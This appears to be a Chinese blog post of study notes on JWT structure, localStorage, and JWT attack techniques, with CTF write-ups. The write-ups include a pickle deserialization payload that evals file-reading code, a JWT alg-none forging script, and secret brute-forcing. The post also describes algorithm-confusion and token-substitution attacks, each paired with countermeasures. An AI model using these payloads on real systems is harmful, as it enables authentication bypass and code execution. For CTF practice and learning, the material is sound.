# JWT 基础

JWT (JSON Web Token) 是目前最流行的跨域认证解决方案,是一种基于 Token 的认证授权机制。 从 JWT 的全称可以看出,JWT 本身也是 Token,一种规范化之后的 JSON 结构的 Token。

JWT 自身包含了身份验证所需要的所有信息,因此,我们的服务器不需要存储 Session 信息。这显然增加了系统的可用性和伸缩性,大大减轻了服务端的压力。

可以看出,JWT 更符合设计 RESTful API 时的「Stateless(无状态)」原则

并且, 使用 JWT 认证可以有效避免 CSRF 攻击,因为 JWT 一般是存在在 localStorage 中,使用 JWT 进行身份验证的过程中是不会涉及到 Cookie 的。

# localstorage 与 cookie

localStorage 和 sessionStorage 属性允许在浏览器中存储 key/value 对的数据。

localStorage 用于长久保存整个网站的数据,保存的数据没有过期时间,直到手动去删除。

localStorage 属性是只读的。

提示: 如果你只想将数据保存在当前会话中,可以使用 sessionStorage 属性, 该数据对象临时保存同一窗口 (或标签页) 的数据,在关闭窗口或标签页之后将会删除这些数据。

localStorage 的优势

  • 1、localStorage 拓展了 cookie 的 4K 限制。
  • 2、localStorage 会可以将第一次请求的数据直接存储到本地,这个相当于一个 5M 大小的针对于前端页面的数据库,相比于 cookie 可以节约带宽,但是这个却是只有在高版本的浏览器中才支持的。

localStorage 的局限

  • 1、浏览器的大小不统一,并且在 IE8 以上的 IE 版本才支持 localStorage 这个属性。
  • 2、目前所有的浏览器中都会把 localStorage 的值类型限定为 string 类型,这个在对我们日常比较常见的 JSON 对象类型需要一些转换。
  • 3、localStorage 在浏览器的隐私模式下面是不可读取的。
  • 4、localStorage 本质上是对字符串的读取,如果存储内容多的话会消耗内存空间,会导致页面变卡。
  • 5、localStorage 不能被爬虫抓取到。

localStorage 与 sessionStorage 的唯一一点区别就是 localStorage 属于永久性存储,而 sessionStorage 属于当会话结束的时候,sessionStorage 中的键值对会被清空。

localStorage 的使用也是遵循同源策略的,所以不同的网站直接是不能共用相同的 localStorage。

localStorage 使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(!window.localStorage){
alert("浏览器不支持localstorage");
return false;
}else{
var storage=window.localStorage;
//写入a字段
storage["a"]=1;
//写入b字段
storage.b=1;
//写入c字段
storage.setItem("c",3);
console.log(typeof storage["a"]);
console.log(typeof storage["b"]);
console.log(typeof storage["c"]);
}

localStorage 的读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if(!window.localStorage){
alert("浏览器不支持localstorage");
}else{
var storage=window.localStorage;
//写入a字段
storage["a"]=1;
//写入b字段
storage.b=1;
//写入c字段
storage.setItem("c",3);
console.log(typeof storage["a"]);
console.log(typeof storage["b"]);
console.log(typeof storage["c"]);
//第一种方法读取
var a=storage.a;
console.log(a);
//第二种方法读取
var b=storage["b"];
console.log(b);
//第三种方法读取
var c=storage.getItem("c");
console.log(c);
}

一般我们会将 JSON 存入 localStorage 中,但是在 localStorage 会自动将 localStorage 转换成为字符串形式。

这个时候我们可以使用 JSON.stringify () 这个方法,来将 JSON 转换成为 JSON 字符串。

1
2
3
4
5
6
7
8
9
10
11
12
var storage=window.localStorage;
var data={
name:'xiecanyong',
sex:'man',
hobby:'program'
};
var d=JSON.stringify(data);
storage.setItem("data",d);
//将JSON字符串转换成为JSON对象输出
var json=storage.getItem("data");
var jsonObj=JSON.parse(json);
console.log(typeof jsonObj);

打印出来是 Object 对象。

另外还有一点要注意的是,其他类型读取出来也要进行转换。

image-20221206150034668

# JWT 组成

JWT 本质上就是一组字串,通过( . )切分成三个为 Base64 编码的部分:

  • Header : 描述 JWT 的元数据,定义了生成签名的算法以及 Token 的类型。
  • Payload : 用来存放实际需要传递的数据
  • Signature(签名) :服务器通过 Payload、Header 和一个密钥 (Secret) 使用 Header 里面指定的签名算法(默认是 HMAC SHA256)生成。

JWT 通常是这样的: xxxxx.yyyyy.zzzzz

示例:

1
2
3
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

你可以在 jwt.ioopen in new window 这个网站上对其 JWT 进行解码,解码之后得到的就是 Header、Payload、Signature 这三部分。

Header 和 Payload 都是 JSON 格式的数据,Signature 由 Payload、Header 和 Secret (密钥) 通过特定的计算公式和加密算法得到。

img

Header 通常由两部分组成:

  • typ (Type):令牌类型,也就是 JWT。
  • alg (Algorithm) :签名算法,比如 HS256。

示例:

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

JSON 形式的 Header 被转换成 Base64 编码,成为 JWT 的第一部分。

# Payload

Payload 也是 JSON 格式数据,其中包含了 Claims (声明,包含 JWT 的相关信息)。

Claims 分为三种类型:

  • Registered Claims(注册声明) :预定义的一些声明,建议使用,但不是强制性的。
  • Public Claims(公有声明) :JWT 签发方可以自定义的声明,但是为了避免冲突,应该在 IANA JSON Web Token Registryopen in new window 中定义它们。
  • Private Claims(私有声明) :JWT 签发方因为项目需要而自定义的声明,更符合实际项目场景使用。

下面是一些常见的注册声明:

  • iss (issuer):JWT 签发方。
  • iat (issued at time):JWT 签发时间。
  • sub (subject):JWT 主题。
  • aud (audience):JWT 接收方。
  • exp (expiration time):JWT 的过期时间。
  • nbf (not before time):JWT 生效时间,早于该定义的时间的 JWT 不能被接受处理。
  • jti (JWT ID):JWT 唯一标识。

示例:

1
2
3
4
5
6
7
8
{
"uid": "ff1212f5-d8d1-4496-bf41-d2dda73de19a",
"sub": "1234567890",
"name": "John Doe",
"exp": 15323232,
"iat": 1516239022,
"scope": ["admin", "user"]
}

Payload 部分默认是不加密的,一定不要将隐私信息存放在 Payload 当中!!!

JSON 形式的 Payload 被转换成 Base64 编码,成为 JWT 的第二部分。

# Signature

Signature 部分是对前两部分的签名,作用是防止 JWT(主要是 payload) 被篡改。

这个签名的生成需要用到:

  • Header + Payload。
  • 存放在服务端的密钥 (一定不要泄露出去)。
  • 签名算法。

签名的计算公式如下:

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用 "点"( . )分隔,这个字符串就是 JWT 。

# JWT 进行身份验证

在基于 JWT 进行身份验证的的应用程序中,服务器通过 Payload、Header 和 Secret (密钥) 创建 JWT 并将 JWT 发送给客户端。客户端接收到 JWT 之后,会将其保存在 Cookie 或者 localStorage 里面,以后客户端发出的所有请求都会携带这个令牌

Session 是在服务器端的,而 JWT 是在客户端的。

![](https://kbshire-1308981697.cos.ap-shanghai.myqcloud.com/img/jwt-authentication process.png)

简化后的步骤如下:

  1. 用户向服务器发送用户名、密码以及验证码用于登陆系统。
  2. 如果用户用户名、密码以及验证码校验正确的话,服务端会返回已经签名的 Token,也就是 JWT。
  3. 用户以后每次向后端发请求都在 Header 中带上这个 JWT 。
  4. 服务端检查 JWT 并从中获取用户相关信息。

image-20221206152548804

两点建议:

  1. 建议将 JWT 存放在 localStorage 中,放在 Cookie 中会有 CSRF 风险。
  2. 请求服务端并携带 JWT 的常见做法是将其放在 HTTP Header 的 Authorization 字段中( Authorization: Bearer Token )。

# 防止 JWT 被篡改

有了签名之后,即使 JWT 被泄露或者截获,黑客也没办法同时篡改 Signature 、Header 、Payload。

这是为什么呢?因为服务端拿到 JWT 之后,会解析出其中包含的 Header、Payload 以及 Signature 。服务端会根据 Header、Payload、密钥再次生成一个 Signature。拿新生成的 Signature 和 JWT 中的 Signature 作对比,如果一样就说明 Header 和 Payload 没有被修改。

不过,如果服务端的秘钥也被泄露的话,黑客就可以同时篡改 Signature 、Header 、Payload 了。黑客直接修改了 Header 和 Payload 之后,再重新生成一个 Signature 就可以了。

密钥一定保管好,一定不要泄露出去。JWT 安全的核心在于签名,签名安全的核心在密钥。

# 如何加强 JWT 的安全性?

  1. 使用安全系数高的加密算法。
  2. 使用成熟的开源库,没必要造轮子。
  3. JWT 存放在 localStorage 中而不是 Cookie 中,避免 CSRF 风险。
  4. 一定不要将隐私信息存放在 Payload 当中。
  5. 密钥一定保管好,一定不要泄露出去。JWT 安全的核心在于签名,签名安全的核心在密钥。
  6. Payload 要加入 exp (JWT 的过期时间),永久有效的 JWT 不合理。并且,JWT 的过期时间不易过长。

# jwt 优势

相比于 Session 认证的方式来说,使用 JWT 进行身份认证主要有下面 4 个优势。

# 无状态

JWT 自身包含了身份验证所需要的所有信息,因此,我们的服务器不需要存储 Session 信息。这显然增加了系统的可用性和伸缩性,大大减轻了服务端的压力。

# 有效避免了 CSRF 攻击

一般情况下我们使用 JWT 的话,在我们登录成功获得 JWT 之后,一般会选择存放在 localStorage 中。前端的每一个请求后续都会附带上这个 JWT,整个过程压根不会涉及到 Cookie。因此,即使你点击了非法链接发送了请求到服务端,这个非法请求也是不会携带 JWT 的,所以这个请求将是非法的。

总结来说就一句话:使用 JWT 进行身份验证不需要依赖 Cookie ,因此可以避免 CSRF 攻击。

# 适合移动端应用

使用 Session 进行身份认证的话,需要保存一份信息在服务器端,而且这种方式会依赖到 Cookie(需要 Cookie 保存 SessionId ),所以不适合移动端。

但是,使用 JWT 进行身份认证就不会存在这种问题,因为只要 JWT 可以被客户端存储就能够使用,而且 JWT 还可以跨语言使用。

# 单点登录友好

使用 Session 进行身份认证的话,实现单点登录,需要我们把用户的 Session 信息保存在一台电脑上,并且还会遇到常见的 Cookie 跨域的问题。但是,使用 JWT 进行认证的话, JWT 被保存在客户端,不会存在这些问题。

# jwt 在 ctf 中运用

# [CISCN2019 华北赛区 Day1 Web2] ikun

1. 通过脚本爆破 lv6 的 page

1
2
3
4
5
6
7
8
9
import requests
url="http://3ecc60d7-c14f-4805-9476-71bcd91747c8.node3.buuoj.cn/shop?page="

for i in range(0,2000):
print(i)
r=requests.get( url + str(i) )
if 'lv6.png' in r.text:
print (i)
break

2. 随便注册,然后登陆

3. 将 lv6 加入购物车然后抓包,修改 discount 和 jwt

修改 jwt 时涉及到 jwt 伪造和 secret 爆破

brendan-rius/c-jwt-cracker: JWT brute force cracker written in C (github.com)

通过 jwtcracker 爆破 secret,得到 1Kun

题目中还说需要 admin,那就伪造

image-20221207135357827

image-20221207140037810

4. 源码泄露,python 反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",)) #打开读取flag.txt的内容

a = pickle.dumps(payload()) #序列化payload
a = urllib.quote(a) #进行url编码
print a

# c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

image-20221207140234730

# [HFCTF2020]EasyLogin

Node 的 JWT 库的空加密缺陷

通过查看源码,发现 /static/js/app.js 页面存在提示
koa-static 错误配置的源码泄露
说明 app.js 是直接静态映射到程序根目录的,直接访问根目录的该文件可直接看到源码

/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录 XD
*/

关与 node 的代码分析不再叙述,可以到哦下面的连接自己看

1. 将加密方式改为 none

签名算法确保恶意用户在传输过程中不会修改 JWT。但是标题中的 alg 字段可以更改为 none。一些 JWT 库支持无算法,即没有签名算法。当 alg 为 none 时,后端将不执行签名验证。将 alg 更改为 none 后,从 JWT 中删除签名数据(仅标题 +’.’+ payload +’.’)并将其提交给服务器。

2、secretid 值校验
要求 sid 不能为 undefined,null,并且必须在全局变量 secrets 数组的长度和 0 之间。
JavaScript 是一门弱类型语言,可以通过空数组与数字比较永远为真或是小数来绕过

1
2
3
4
# py脚本
import jwt
token = jwt.encode({"secretid":0.1,"username":"admin","password":"admin"},algorithm="none",key="")
print(token)

3. 登录时抓包改 authorization

image-20221207144053858

或者自己进行 base64 编码然后拼接,注入拼接时去掉 base64 的 =

登录后即可 getflag

(72 条消息) CTFHUB-2020 - 虎符 - Web-easy_login-Node.js - 前端 JWT_(∪.∪ )…zzz 的博客 - CSDN 博客

2020 - 虎符网络安全赛道 - Web-easy_login - 简书 (jianshu.com)

# jwt 名词解释

1.JWS:Signed JWT 签名过的 jwt

2.JWE:Encrypted JWT 部分 payload 经过加密的 jwt;

目前加密 payload 的操作不是很普及;

3.JWK:JWT 的密钥,也就是我们常说的 scret;

4.JWKset:JWT key set 在非对称加密中,需要的是密钥对而非单独的密钥,在后文中会阐释;

5.JWA:当前 JWT 所用到的密码学算法;

6.nonsecure JWT:当头部的签名算法被设定为 none 的时候,该 JWT 是不安全的;因为签名的部分空缺,所有人都可以修改。

# JWS 的结构

JWS ,也就是 JWT Signature,其结构就是在之前 nonsecure JWT 的基础上,在头部声明签名算法,并在最后添加上签名。创建签名,是保证 jwt 不能被他人随意篡改。

为了完成签名,除了用到 header 信息和 payload 信息外,还需要算法的密钥,也就是 secret。当利用非对称加密方法的时候,这里的 secret 为私钥。

为了方便后文的展开,我们把 JWT 的密钥或者密钥对,统一称为 JSON Web Key,也就是 JWK。

到目前为止,jwt 的签名算法有三种。

对称加密 HMAC【哈希消息验证码】:HS256/HS384/HS512

非对称加密 RSASSA【RSA 签名算法】(RS256/RS384/RS512)和 ECDSA【椭圆曲线数据签名算法】(ES256/ES384/ES512)

最后将签名与之前的两段内容用。连接,就可以得到经过签名的 JWT,也就是 JWS。

当验证签名的时候,利用公钥或者密钥来解密 Sign,和 base64UrlEncode (header) + “.” + base64UrlEncode (payload) 的内容完全一样的时候,表示验证通过。

# JWT 攻击手段

JWT 的攻击手段包括以下内容:

参考网站:https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//。

# 1. 敏感信息泄露

当服务端的秘钥泄密的时候,JWT 的伪造就变得非常简单容易。对此,服务端应该妥善保管好私钥,以免被他人窃取。

# 2. 将加密方式改为’none’

下文实战中的 Juice Shop JWT issue 1 便是这个问题。之前谈及过 nonsecure JWT 的问题。

签名算法确保恶意用户在传输过程中不会修改 JWT。但是标题中的 alg 字段可以更改为 none。一些 JWT 库支持无算法,即没有签名算法。当 alg 为 none 时,后端将不执行签名验证。将 alg 更改为 none 后,从 JWT 中删除签名数据(仅标题 +’.’+ payload +’.’)并将其提交给服务器。

解决对策:

不允许出现 none 的方法;

将开启 alg : none 作为一种额外的配置选项。

# 3. 将算法 RS256 修改为 HS256(非对称密码算法 => 对称密码算法)

HS256 使用密钥来签名和验证每个消息。而 RS256 使用私钥对消息进行签名并使用公钥进行认证。

如果将算法从 RS256 更改为 HS256,则后端代码使用公钥作为密钥,然后使用 HS256 算法验证签名。由于攻击者有时可以获取公钥,因此攻击者可以将标头中的算法修改为 HS256,然后使用 RSA 公钥对数据进行签名。

此时,后端代码就会使用 RSA 公钥 + HS256 算法进行签名验证,从而让验证通过。

解决对策:

不允许 HS256 等对称加密 算法读取秘钥。jwtpy 就是限制了这种方法。当读取到 类似于 “— xxx key —” 的参数的时候应抛出错误;

将秘钥与验证算法相互匹配。

# 4. HS256(对称加密)密钥破解

如果 HS256 密钥强度较弱,则可以直接强制使用,通过爆破 HS256 的秘钥可以完成该操作。难度比较低。解决对策很简单,使用复杂的秘钥即可。

# 5. 错误的堆叠加密 + 签名验证假设

错误的堆叠加密

这种攻击发生在单个的或者嵌套的 JWE 中,我们想象一个 JWE 如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
JWT RAW

header : ...

payload: "admin" : false

"uid" : 123

"umail" : 123@126.com

...

JWE Main

protected / unprotected

recipients:

en_key : key1

en_key : key2

cipher : xxx

在攻击者不修改秘钥的情况下,对于 ciphertext 进行修改。往往会导致解密的失败。但是,即使是失败,很多 JWT 的解密也是会有输出的,在没有附加认证数据(ADD)的情况下更是如此。攻击者对于 ciphertext 的内容进行修改,可能会让其他的数据无法解密,但是只要最后输出的 payload 中,有 “admin":true。 其目的就已经达到了。

解决对策:

对于 JWE 而言,应当解密所有数据,而非从解密的结果中提取单个需要的数据。另外,利用附加认证数据 ADD,也是非常好的选择。

签名假设验证

这种攻击发生嵌套的 JWS 中。我们想象一个嵌套的 JWS, 其包括了两层的部分,其结构如下:

1
2
3
4
5
6
7
8
9
JWT Main

JWT Sub1

payload

Signature2

Signature

现在,攻击者通过一定的方式,能够让外层的验证通过的时候,此时,系统还应该检查内层的签名数据,如果不检查,攻击者就可以随意篡改 payload 的数据,来达到越权的目的。

解决对策:

因此对于嵌套 JWS 而言,应当验证所有层面的签名是否正确,而非验证最外层的签名是否正确就足够。

# 6. 无效椭圆曲线攻击

椭圆曲线加密是一种非常安全的方式,甚至从某种程度上而言,比 RSA 更加安全。关于椭圆曲线的算法,在此不展开。

在椭圆曲线加密中,公钥是椭圆曲线上的一个点,而私钥只是一个位于特殊但非常大的范围内的数字。 如果未验证对这些操作的输入,那攻击者就可以进行设计,从而恢复私钥。

而这种攻击已在过去中得到证实。这类攻击被称为无效曲线攻击。这种攻击比较复杂,也设计到很多的数学知识。详细可以参考文档:critical-vulnerability-uncovered-in-json-encryption

解决对策:

检查传递给任何公共函数的所有输入是否有效是解决这类攻击的关键点。验证内容包括公钥是所选曲线的有效椭圆曲线点,以及私钥位于有效值范围内。

# 7. 替换攻击

在这种攻击中,攻击者需要至少获得两种不同的 JWT,然后攻击者可以将令牌中的一个或者两个用在其他的地方。

在 JWT 中,替换共叽有两种方式,我们称他们为相同接收方攻击(跨越式 JWT)和不同接收方攻击。

不同接收方攻击

我们可以设想一个业务逻辑如下:

Auth 机构,有着自己的私钥,并且给 App1 和 App2 发放了两个公钥,用于验证签名;

Attacker 利用自己的秘钥登录了 App1。

此时 Auth 机构给 Attacker 下发了一个 附带签名的 JWT,其 payload 内容为:

1
2
3
4
5
6
7
{

'uname':'Attacker'

'role' :'admin'

}

此时,如果 Attacker 知道 App1 和 App2 的公钥是同一个 Auth 签发的话,他可以利用这个 JWT 去登录 App2,从而获取 Admin 权限。

解决方法:

在 jwt 中带上 aud 声明,比如 aud : App1 这样。来限定该 jwt 只能用于 App1。

相同接收方攻击 / 跨越式 JWT same recipient/Cross JWT

我们可以设想一个业务逻辑如下:

在同一站点下,有两个应用程序,wordpress 和 phpmyadmin,他们都利用了相同的秘钥对和算法来验证 JWT 签名;

站点管理员知道 Different Recipient 的问题,所以给 wordpress 的应用增加了 aud 验证,但是 phpmyadmin 的用户人数较少,没有增加 aud 的验证;

Attacker 利用自己的秘钥登录了 wordpress。

此时 站点 给 Attacker 下发了一个 附带签名的 JWT,其 payload 内容为:

1
2
3
4
5
6
7
8
9
10
11
{

'uname':'Attacker'

'role' :'writer'

'aud' :'shaobaobaoer.cn/wordpress'

'iss' :'shaobaobaoer.cn'

}

这个 JWT 看似非常安全,但这仅仅是对于 wordpress 的应用程序而言,。从而 Attacker 可以以 writer 的身份登录 phpmyadmin。

# 例题

ctfshow 345-350

Window localStorage 属性 | 菜鸟教程 (runoob.com)

JWT 基础概念详解 (javaguide.cn)

JSON Web Tokens - jwt.io

https://www.freebuf.com/articles/web/180874.html

https://www.freebuf.com/articles/web/181261.html

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

John Doe WeChat Pay

WeChat Pay

John Doe Alipay

Alipay

John Doe PayPal

PayPal